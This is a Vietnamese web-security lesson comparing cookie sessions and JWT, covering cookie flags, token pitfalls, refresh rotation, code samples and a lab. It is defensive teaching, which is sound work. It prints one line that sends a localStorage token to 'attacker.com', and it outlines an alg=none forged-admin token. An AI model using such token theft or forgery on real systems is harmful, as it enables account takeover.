</>Học Dev
Bài học

Tuần 2 - Ngày 8: Sessions vs JWT

Tuần 2 – Ngày 8

Mục tiêu học tập

  • Hiểu cách hoạt động của cookie session (server-side state) và các cờ bảo mật Secure, HttpOnly, SameSite
  • Hiểu cấu trúc JWT (header.payload.signature), khác nhau giữa HS256 và RS256
  • Nhận diện các pitfall phổ biến của JWT: alg=none, weak secret, no expiry, lưu ở localStorage
  • Áp dụng refresh token rotation và hiểu vấn đề token revocation
  • Quyết định khi nào dùng session, khi nào dùng JWT

Flow cơ bản

BrowserServerSessionStorePOST/login{email,password}CREATEsession_idSet-Cookie:sid=abc123;HttpOnly;SecureGET/meCookie:sid=abc123LOOKUPuserdata200OK{user:{...}}

Server lưu gì?

Redis/Postgres/MemoryStore:session_id{user_id:42,"abc123..."created:...,expires:...,ip:"...",roles:[...]}

Cookie chỉ chứa session_id (random ~128-bit, không có thông tin gì khác). Toàn bộ state ở server.

Set-Cookie: sid=abc123;
  HttpOnly;                  ← JS không đọc được → chống XSS đánh cắp cookie
  Secure;                    ← Chỉ gửi qua HTTPS → chống MITM
  SameSite=Lax;              ← Không gửi cross-site → chống CSRF
  Path=/;
  Max-Age=3600;
  Domain=app.example.com
FlagTác dụngKhuyến nghị
HttpOnlyCookie không truy cập được từ document.cookieBắt buộc
SecureChỉ gửi qua HTTPSBắt buộc (production)
SameSite=StrictKhông gửi với bất kỳ cross-site request nàoAn toàn nhất, có thể vỡ UX khi link từ Google
SameSite=LaxGửi với GET top-level navigation, không gửi POST cross-siteDefault tốt (mặc định của Chrome 80+)
SameSite=NoneCho phép cross-site (BẮT BUỘC kèm Secure)Chỉ khi cần (embed cross-origin)

Session fixation attack

1. Attacker truy cập site, server cấp sid=AAA
2. Attacker dụ victim click link với sid=AAA (qua URL hoặc XSS set cookie)
3. Victim login → server gắn sid=AAA với user của victim
4. Attacker dùng sid=AAA → đăng nhập với danh tính victim

Phòng chống: regenerate session ID sau khi login (req.session.regenerate() trong Express).

Pros / Cons của session

ProsCons
Revoke dễ: xóa entry trong storeCần session store (Redis/DB) → infra phức tạp hơn
Cookie nhỏ (chỉ id)Không trivially stateless → khó scale qua nhiều region
Có thể chứa data lớn server-sidePhụ thuộc cookie → khó với mobile native, cross-domain
Mature, well-understoodCần xử lý CSRF protection (CSRF token)

2. JWT — JSON Web Token

Cấu trúc

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NSIsImV4cCI6MTcwMDAwMDAwMH0.signatureheaderpayloadsignaturebase64urlbase64urlbase64urlHeader(decoded):{"alg":"HS256","typ":"JWT"}Payload(decoded):{"sub":"12345",subject=userid"iat":1700000000,issuedat"exp":1700003600,expiry(1h)"aud":"https://api.example",audience"iss":"https://auth.example",issuer"roles":["user"]}Signature:HMAC-SHA256(base64url(header)+"."+base64url(payload),secret)

Standard claims (RFC 7519)

ClaimÝ nghĩaVí dụ
issIssuer — ai phát hành"https://auth.example.com"
subSubject — user id"user_42"
audAudience — token dành cho service nào"https://api.example.com"
expExpiration time (Unix ts)1700003600
iatIssued at1700000000
nbfNot before1700000000
jtiJWT ID — unique id (để revoke)"uuid-v4"

HS256 vs RS256

HS256 (HMAC-SHA256):           RS256 (RSA-SHA256):
                                
Issuer:                         Issuer:
  sign with SHARED_SECRET         sign with PRIVATE_KEY
                                
Verifier:                       Verifier:
  verify with SHARED_SECRET       verify with PUBLIC_KEY
  (same secret as issuer)         (publishable)
HS256RS256
Loại keySymmetric (shared secret)Asymmetric (private/public)
Ai có thể verifyChỉ ai có secretBất kỳ ai có public key
Use caseCùng một service phát + verifyNhiều microservice verify token do auth-service phát
Token sizeNhỏ hơnLớn hơn (signature dài)
Khi compromiseMất secret → phát giả đượcMất private key → phát giả được; public key leak không sao

Microservices nên dùng RS256 + công bố jwks.json để service khác verify mà không chia sẻ secret.

Flow JWT điển hình

BrowserAuthSvcResourceAPIPOST/login{email,password}signJWT{access_token:"eyJ..."}GET/api/ordersAuthorization:BearereyJ...verifysignaturecheckexp,aud200OK{orders:[...]}

Resource API không cần gọi DB / auth service để verify — chỉ verify signature và kiểm claim. Đây là điểm hấp dẫn của JWT.


3. JWT Pitfalls

Pitfall 1: alg=none attack

// Attacker tự tạo JWT:
header = { "alg": "none", "typ": "JWT" }
payload = { "sub": "admin", "exp": 9999999999 }
signature = ""   // bỏ trống

// Nếu thư viện chấp nhận alg=none → token này pass verify

Phòng chống:

  • Whitelist alg cho phép: jwt.verify(token, secret, { algorithms: ["HS256"] })
  • KHÔNG để user kiểm soát alg

Pitfall 2: Algorithm confusion (RS256 → HS256)

// Server có RSA public key, dự kiến verify RS256
// Attacker đổi header thành alg=HS256
// Thư viện cũ: dùng public key làm HMAC secret
// → public key là public → attacker biết → sign được token giả

Phòng chống: luôn whitelist algorithms: ["RS256"] chứ không trust header.

Pitfall 3: Weak HMAC secret

// ❌ SAI
const secret = "secret";          // brute force trong 1 giây
const secret = "myapp_secret";    // dictionary attack
const secret = "abc123";

// ✅ ĐÚNG: ≥ 256 bits random
const secret = crypto.randomBytes(32).toString("base64");
// hoặc dùng RS256 với key pair

Có công cụ hashcat / jwt_tool brute force weak HMAC secret từ token public.

Pitfall 4: No expiry / quá dài

// ❌ SAI
{ "sub": "u1" }                    // không có exp → token bất tử
{ "sub": "u1", "exp": +30 days }   // quá dài cho access token

// ✅ ĐÚNG
access_token: exp = 15 minutes
refresh_token: exp = 7-30 days, rotate trên mỗi lần dùng

Pitfall 5: Lưu JWT trong localStorage

// ❌ SAI — XSS đọc được
localStorage.setItem("token", jwt);

// Bất kỳ <script> nào (kể cả 3rd party CDN bị compromise) đều có thể:
const token = localStorage.getItem("token");
fetch("https://attacker.com?t=" + token);
StorageXSS đọc đượcCSRFNhận xét
localStorageKhôngNguy hiểm với XSS
sessionStorageKhôngTương tự localStorage
Cookie HttpOnlyKhôngCó (cần SameSite)An toàn nhất với JWT
Memory (JS variable)Có nhưng mất khi reloadKhôngOK cho short-lived access token

Khuyến nghị: cookie HttpOnly; Secure; SameSite=Lax. Nếu phải lưu trong JS, chỉ short-lived access token + refresh token trong cookie.

Pitfall 6: Token bloat

// ❌ SAI: nhét cả profile user vào payload
{
  "sub": "u1",
  "email": "...",
  "first_name": "...",
  "address": "...",
  "permissions": [/* 200 items */]
}

Payload JWT đi theo mọi request → tăng bandwidth. Chỉ nên chứa sub, exp, iat, role IDs ngắn.


4. Refresh Token Rotation

Vấn đề: token revocation

JWT stateless = không thể "xóa" khỏi server. Nếu user logout / device mất / leak:

  • Token vẫn hợp lệ đến exp
  • Phải có cách invalidate

Pattern: short access + long refresh, rotate refresh

1. Login → cấp:
   access_token  (exp = 15 min)   ← gửi mọi request
   refresh_token (exp = 30 days)  ← dùng để xin access mới

2. Access expire → gọi /refresh với refresh_token:
   - Server verify refresh_token
   - Cấp access_token mới
   - Cấp refresh_token mới (rotate)
   - Invalidate refresh_token cũ (đánh dấu trong DB)

3. Nếu attacker steal refresh_token và dùng:
   - Đầu tiên có thể thành công 1 lần
   - Khi user thật dùng refresh_token cũ → server phát hiện đã used
   - → Revoke toàn bộ session của user (force re-login)

Bảng so sánh thời gian sống

Token typeLifetimeLưu ở đâuRevocation
Access token (JWT)5-15 phútMemory / cookie HttpOnlyĐợi exp
Refresh token7-30 ngàyCookie HttpOnly (path=/refresh)Lưu trong DB, rotate, revoke được
Session id30 ngàyCookie HttpOnlyXóa entry trong store

Revocation list (denylist)

Cho trường hợp cần revoke access token trước hạn:

  • Lưu jti của token đã revoke trong Redis với TTL = exp
  • Mỗi request: verify JWT + check Redis denylist
  • Trade-off: mất tính stateless

5. Khi nào dùng Session vs JWT?

Tiêu chíSession (cookie)JWT
Single web app, same domainCó (đơn giản, an toàn)Overkill
SPA + REST API cùng domain (cookie HttpOnly)OK nhưng phải cẩn thận storage
Mobile native (iOS/Android)Khó (cookie awkward) (Bearer token)
Microservices nhiều regionKhó scale session store (RS256 + JWKS)
Third-party API access (OAuth2 access token)
Cần revoke ngay lập tức (xóa session)Khó (cần denylist)
Cần đơn giản, ít infraPhức tạp hơn
Cross-domain SSOKhó (OIDC ID token)

Quy tắc thực tế (2024): cho web app same-origin, dùng cookie session. Cho mobile / SPA + multi-service / SSO, dùng JWT (best practice: access trong memory, refresh trong cookie HttpOnly).


6. Code ví dụ

Express session với Redis

import express from "express";
import session from "express-session";
import RedisStore from "connect-redis";
import { createClient } from "redis";

const redisClient = createClient({ url: process.env.REDIS_URL });
await redisClient.connect();

const app = express();
app.use(session({
  store: new RedisStore({ client: redisClient }),
  secret: process.env.SESSION_SECRET,   // for signing cookie
  resave: false,
  saveUninitialized: false,
  cookie: {
    httpOnly: true,
    secure: process.env.NODE_ENV === "production",
    sameSite: "lax",
    maxAge: 1000 * 60 * 60,             // 1h
  },
}));

app.post("/login", async (req, res) => {
  // verify password ...
  req.session.regenerate(() => {        // chống session fixation
    req.session.userId = user.id;
    res.json({ ok: true });
  });
});

app.post("/logout", (req, res) => {
  req.session.destroy(() => res.json({ ok: true }));
});

JWT với jose (Node.js)

import { SignJWT, jwtVerify } from "jose";

const secret = new TextEncoder().encode(process.env.JWT_SECRET);   // ≥32 bytes

// Sign
async function signAccessToken(userId, roles) {
  return await new SignJWT({ roles })
    .setProtectedHeader({ alg: "HS256" })
    .setSubject(userId)
    .setIssuer("https://auth.example.com")
    .setAudience("https://api.example.com")
    .setIssuedAt()
    .setExpirationTime("15m")
    .sign(secret);
}

// Verify
async function verifyAccessToken(token) {
  const { payload } = await jwtVerify(token, secret, {
    issuer: "https://auth.example.com",
    audience: "https://api.example.com",
    algorithms: ["HS256"],   // ← whitelist quan trọng
  });
  return payload;
}

7. Câu hỏi ôn tập

  1. Tại sao cookie chứa session id cần cả 3 cờ HttpOnly, Secure, SameSite?

    Xem đáp án

    Mỗi cờ chống một loại tấn công: HttpOnly → JS không đọc được document.cookie, nên XSS không lấy được session id. Secure → cookie chỉ gửi qua HTTPS, chống man-in-the-middle nghe lén trên Wi-Fi public. SameSite=Lax/Strict → cookie không gửi với cross-site POST request, chống CSRF. Thiếu một trong ba là vector tấn công còn mở.

  2. JWT alg=none attack hoạt động thế nào và phòng chống ra sao?

    Xem đáp án

    Attacker tạo JWT với header {"alg":"none"} và signature trống. Thư viện JWT cũ (hoặc cấu hình sai) trust header và chấp nhận token không signature → attacker giả mạo bất kỳ user nào. Phòng chống: luôn whitelist algorithm khi verify, ví dụ jwt.verify(token, secret, { algorithms: ["HS256"] }). KHÔNG đọc alg từ header để chọn cách verify.

  3. Sự khác biệt cốt lõi giữa HS256 và RS256, khi nào nên dùng RS256?

    Xem đáp án

    HS256 dùng symmetric secret — issuer và verifier cùng chia sẻ một secret → chỉ phù hợp khi cùng một service phát và verify. RS256 dùng key pair (private/public) — issuer sign bằng private key, verifier dùng public key (công bố qua JWKS) → nhiều microservice verify được mà không chia sẻ secret. Dùng RS256 cho hệ thống microservices, SSO, OIDC. Dùng HS256 cho monolith đơn giản.

  4. Vì sao lưu JWT trong localStorage là rủi ro, và alternative là gì?

    Xem đáp án

    localStorage accessible từ JavaScript → bất kỳ XSS nào (kể cả qua npm package compromise hoặc CDN bị hack) đều đọc được token và gửi đi. Alternative tốt nhất: cookie HttpOnly; Secure; SameSite=Lax cho refresh token (JS không đọc được) + access token short-lived (5-15 phút) trong memory JS. Khi tab đóng, access token mất → cần refresh, refresh nằm trong cookie an toàn.

  5. Refresh token rotation phát hiện token bị steal bằng cách nào?

    Xem đáp án

    Mỗi lần dùng refresh token để xin access mới, server invalidate refresh cũ (đánh dấu used trong DB) và cấp refresh mới. Nếu attacker steal refresh token và dùng trước user thật, attacker được token mới — nhưng khi user thật dùng refresh cũ, server phát hiện token cũ đã used → biết có attack → revoke toàn bộ session của user, force re-login. Pattern này tự phát hiện compromise mà user không cần báo.


Bài tập thực hành

# 1. JWT decode bằng tay
# Lấy một JWT (từ jwt.io demo)
TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4ifQ.signature"

# Decode header
echo $TOKEN | cut -d. -f1 | base64 -d
# → {"alg":"HS256","typ":"JWT"}

# Decode payload
echo $TOKEN | cut -d. -f2 | base64 -d
# → {"sub":"1234567890","name":"John"}

# 2. Tự ký JWT với jose
mkdir jwt-lab && cd jwt-lab
npm init -y
npm install jose

cat > sign.mjs << 'EOF'
import { SignJWT } from "jose";

const secret = new TextEncoder().encode("a-very-long-random-secret-256-bits-please");

const jwt = await new SignJWT({ role: "user" })
  .setProtectedHeader({ alg: "HS256" })
  .setSubject("user-42")
  .setIssuedAt()
  .setExpirationTime("15m")
  .sign(secret);

console.log(jwt);
EOF

node sign.mjs

# 3. Mở https://jwt.io, paste token, quan sát decode

# 4. Thử alg=none attack:
# - Tạo JWT mới với header alg=none
# - Bỏ signature
# - Verify với thư viện → quan sát thư viện modern (jose) reject

# 5. Setup Express session với Redis
docker run -d -p 6379:6379 redis
# Code Express session demo ở section 6, test cookie với DevTools

Tài liệu tham khảo chính thức


Bài tiếp theo →